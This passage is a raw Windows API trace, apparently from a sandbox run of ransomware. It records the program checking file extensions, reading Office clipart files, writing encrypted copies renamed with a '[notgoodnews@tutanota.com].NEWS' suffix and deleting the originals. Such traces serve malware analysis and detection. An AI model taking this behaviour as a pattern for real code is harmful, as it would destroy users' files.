(lpString=".dbf") returned 4 [0088.014] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0088.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68 [0088.014] lstrlenW (lpString=".1cd") returned 4 [0088.014] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0088.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68 [0088.014] lstrlenW (lpString=".jpg") returned 4 [0088.014] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0088.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68 [0088.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68 [0088.015] lstrlenW (lpString=".doc") returned 4 [0088.015] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0088.015] lstrlenW (lpString=".docx") returned 5 [0088.015] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0088.015] lstrlenW (lpString=".pdf") returned 4 [0088.015] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0088.015] lstrlenW (lpString=".xls") returned 4 [0088.015] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0088.015] lstrlenW (lpString=".xlsx") returned 5 [0088.015] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0088.015] lstrlenW (lpString=".ppt") returned 4 [0088.015] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0088.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68 [0088.015] lstrlenW (lpString=".zip") returned 4 [0088.015] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0088.015] lstrlenW (lpString=".rar") returned 4 [0088.015] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0088.015] lstrlenW (lpString=".bz2") returned 4 [0088.015] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0088.015] lstrlenW (lpString=".7z") returned 3 [0088.015] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0088.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68 [0088.015] lstrlenW (lpString=".dbf") returned 4 [0088.015] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0088.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68 [0088.015] lstrlenW (lpString=".1cd") returned 4 [0088.015] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0088.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68 [0088.015] lstrlenW (lpString=".jpg") returned 4 [0088.015] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0088.016] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0088.016] lstrlenW (lpString="HH00636_.WMF") returned 12 [0088.016] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00636_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0088.016] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=1568) returned 1 [0088.016] CloseHandle (hObject=0x378) returned 1 [0088.016] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00636_.wmf")) returned 0x220 [0088.016] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00636_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0088.016] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00636_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0088.016] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0088.016] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0088.016] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00636_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0088.017] GetLastError () returned 0x0 [0088.017] ReadFile (in: hFile=0x378, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x620, lpOverlapped=0x0) returned 1 [0088.018] WriteFile (in: hFile=0x38c, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x630, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x630, lpOverlapped=0x0) returned 1 [0088.019] ReadFile (in: hFile=0x378, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0088.019] WriteFile (in: hFile=0x38c, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0088.019] SetEndOfFile (hFile=0x38c) returned 1 [0088.019] CloseHandle (hObject=0x38c) returned 1 [0088.019] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0088.019] SetEndOfFile (hFile=0x378) returned 1 [0088.020] CloseHandle (hObject=0x378) returned 1 [0088.020] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0088.020] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00636_.wmf")) returned 1 [0088.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68 [0088.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68 [0088.021] lstrlenW (lpString=".doc") returned 4 [0088.021] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0088.021] lstrlenW (lpString=".docx") returned 5 [0088.021] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0088.021] lstrlenW (lpString=".pdf") returned 4 [0088.021] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0088.021] lstrlenW (lpString=".xls") returned 4 [0088.021] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0088.021] lstrlenW (lpString=".xlsx") returned 5 [0088.021] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0088.021] lstrlenW (lpString=".ppt") returned 4 [0088.021] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0088.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68 [0088.021] lstrlenW (lpString=".zip") returned 4 [0088.021] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0088.021] lstrlenW (lpString=".rar") returned 4 [0088.021] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0088.021] lstrlenW (lpString=".bz2") returned 4 [0088.021] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0088.021] lstrlenW (lpString=".7z") returned 3 [0088.021] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0088.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68 [0088.021] lstrlenW (lpString=".dbf") returned 4 [0088.021] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0088.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68 [0088.021] lstrlenW (lpString=".1cd") returned 4 [0088.022] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0088.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68 [0088.022] lstrlenW (lpString=".jpg") returned 4 [0088.022] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0088.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68 [0088.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68 [0088.022] lstrlenW (lpString=".doc") returned 4 [0088.022] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0088.022] lstrlenW (lpString=".docx") returned 5 [0088.022] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0088.022] lstrlenW (lpString=".pdf") returned 4 [0088.022] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0088.022] lstrlenW (lpString=".xls") returned 4 [0088.022] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0088.022] lstrlenW (lpString=".xlsx") returned 5 [0088.022] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0088.022] lstrlenW (lpString=".ppt") returned 4 [0088.022] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0088.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68 [0088.022] lstrlenW (lpString=".zip") returned 4 [0088.022] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0088.022] lstrlenW (lpString=".rar") returned 4 [0088.022] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0088.022] lstrlenW (lpString=".bz2") returned 4 [0088.022] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0088.022] lstrlenW (lpString=".7z") returned 3 [0088.022] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0088.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68 [0088.022] lstrlenW (lpString=".dbf") returned 4 [0088.022] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0088.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68 [0088.022] lstrlenW (lpString=".1cd") returned 4 [0088.022] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0088.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68 [0088.022] lstrlenW (lpString=".jpg") returned 4 [0088.022] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0088.023] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0088.023] lstrlenW (lpString="HH00669_.WMF") returned 12 [0088.023] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00669_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0088.024] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=11490) returned 1 [0088.024] CloseHandle (hObject=0x378) returned 1 [0088.024] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00669_.wmf")) returned 0x220 [0088.024] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00669_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0088.024] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00669_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0088.024] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0088.024] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0088.024] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00669_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0088.024] GetLastError () returned 0x0 [0088.024] ReadFile (in: hFile=0x378, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x2ce2, lpOverlapped=0x0) returned 1 [0088.026] WriteFile (in: hFile=0x38c, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x2cf0, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x2cf0, lpOverlapped=0x0) returned 1 [0088.027] ReadFile (in: hFile=0x378, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0088.027] WriteFile (in: hFile=0x38c, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0088.027] SetEndOfFile (hFile=0x38c) returned 1 [0088.027] CloseHandle (hObject=0x38c) returned 1 [0088.027] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0088.027] SetEndOfFile (hFile=0x378) returned 1 [0088.028] CloseHandle (hObject=0x378) returned 1 [0088.028] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0088.028] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00669_.wmf")) returned 1 [0088.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68 [0088.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68 [0088.029] lstrlenW (lpString=".doc") returned 4 [0088.029] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0088.029] lstrlenW (lpString=".docx") returned 5 [0088.029] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0088.029] lstrlenW (lpString=".pdf") returned 4 [0088.029] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0088.029] lstrlenW (lpString=".xls") returned 4 [0088.029] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0088.029] lstrlenW (lpString=".xlsx") returned 5 [0088.029] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0088.029] lstrlenW (lpString=".ppt") returned 4 [0088.029] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0088.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68 [0088.029] lstrlenW (lpString=".zip") returned 4 [0088.029] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0088.029] lstrlenW (lpString=".rar") returned 4 [0088.029] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0088.029] lstrlenW (lpString=".bz2") returned 4 [0088.029] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0088.029] lstrlenW (lpString=".7z") returned 3 [0088.029] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0088.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68 [0088.029] lstrlenW (lpString=".dbf") returned 4 [0088.029] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0088.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68 [0088.029] lstrlenW (lpString=".1cd") returned 4 [0088.029] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0088.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68 [0088.029] lstrlenW (lpString=".jpg") returned 4 [0088.030] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0088.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68 [0088.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68 [0088.030] lstrlenW (lpString=".doc") returned 4 [0088.030] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0088.030] lstrlenW (lpString=".docx") returned 5 [0088.030] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0088.030] lstrlenW (lpString=".pdf") returned 4 [0088.030] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0088.030] lstrlenW (lpString=".xls") returned 4 [0088.030] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0088.030] lstrlenW (lpString=".xlsx") returned 5 [0088.030] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0088.030] lstrlenW (lpString=".ppt") returned 4 [0088.030] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0088.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68 [0088.030] lstrlenW (lpString=".zip") returned 4 [0088.030] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0088.030] lstrlenW (lpString=".rar") returned 4 [0088.030] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0088.030] lstrlenW (lpString=".bz2") returned 4 [0088.030] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0088.030] lstrlenW (lpString=".7z") returned 3 [0088.030] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0088.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68 [0088.030] lstrlenW (lpString=".dbf") returned 4 [0088.030] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0088.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68 [0088.030] lstrlenW (lpString=".1cd") returned 4 [0088.030] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0088.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68 [0088.030] lstrlenW (lpString=".jpg") returned 4 [0088.030] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0088.031] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0088.031] lstrlenW (lpString="HH00681_.WMF") returned 12 [0088.031] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00681_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0088.031] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=9300) returned 1 [0088.031] CloseHandle (hObject=0x378) returned 1 [0088.031] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00681_.wmf")) returned 0x220 [0088.031] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00681_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0088.031] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00681_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0088.031] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0088.031] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0088.031] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00681_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0088.032] GetLastError () returned 0x0 [0088.032] ReadFile (in: hFile=0x378, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x2454, lpOverlapped=0x0) returned 1 [0088.036] WriteFile (in: hFile=0x38c, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x2460, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x2460, lpOverlapped=0x0) returned 1 [0088.038] ReadFile (in: hFile=0x378, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0088.038] WriteFile (in: hFile=0x38c, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0088.038] SetEndOfFile (hFile=0x38c) returned 1 [0088.038] CloseHandle (hObject=0x38c) returned 1 [0088.038] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0088.038] SetEndOfFile (hFile=0x378) returned 1 [0088.039] CloseHandle (hObject=0x378) returned 1 [0088.039] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0088.039] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00681_.wmf")) returned 1 [0088.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68 [0088.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68 [0088.040] lstrlenW (lpString=".doc") returned 4 [0088.040] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0088.040] lstrlenW (lpString=".docx") returned 5 [0088.040] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0088.040] lstrlenW (lpString=".pdf") returned 4 [0088.040] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0088.040] lstrlenW (lpString=".xls") returned 4 [0088.040] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0088.040] lstrlenW (lpString=".xlsx") returned 5 [0088.040] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0088.040] lstrlenW (lpString=".ppt") returned 4 [0088.040] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0088.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68 [0088.040] lstrlenW (lpString=".zip") returned 4 [0088.040] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0088.040] lstrlenW (lpString=".rar") returned 4 [0088.040] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0088.040] lstrlenW (lpString=".bz2") returned 4 [0088.040] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0088.040] lstrlenW (lpString=".7z") returned 3 [0088.040] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0088.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68 [0088.040] lstrlenW (lpString=".dbf") returned 4 [0088.040] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0088.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68 [0088.040] lstrlenW (lpString=".1cd") returned 4 [0088.040] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0088.040] lstrlenW (lpString="C:\\Program Files\\Microsoft 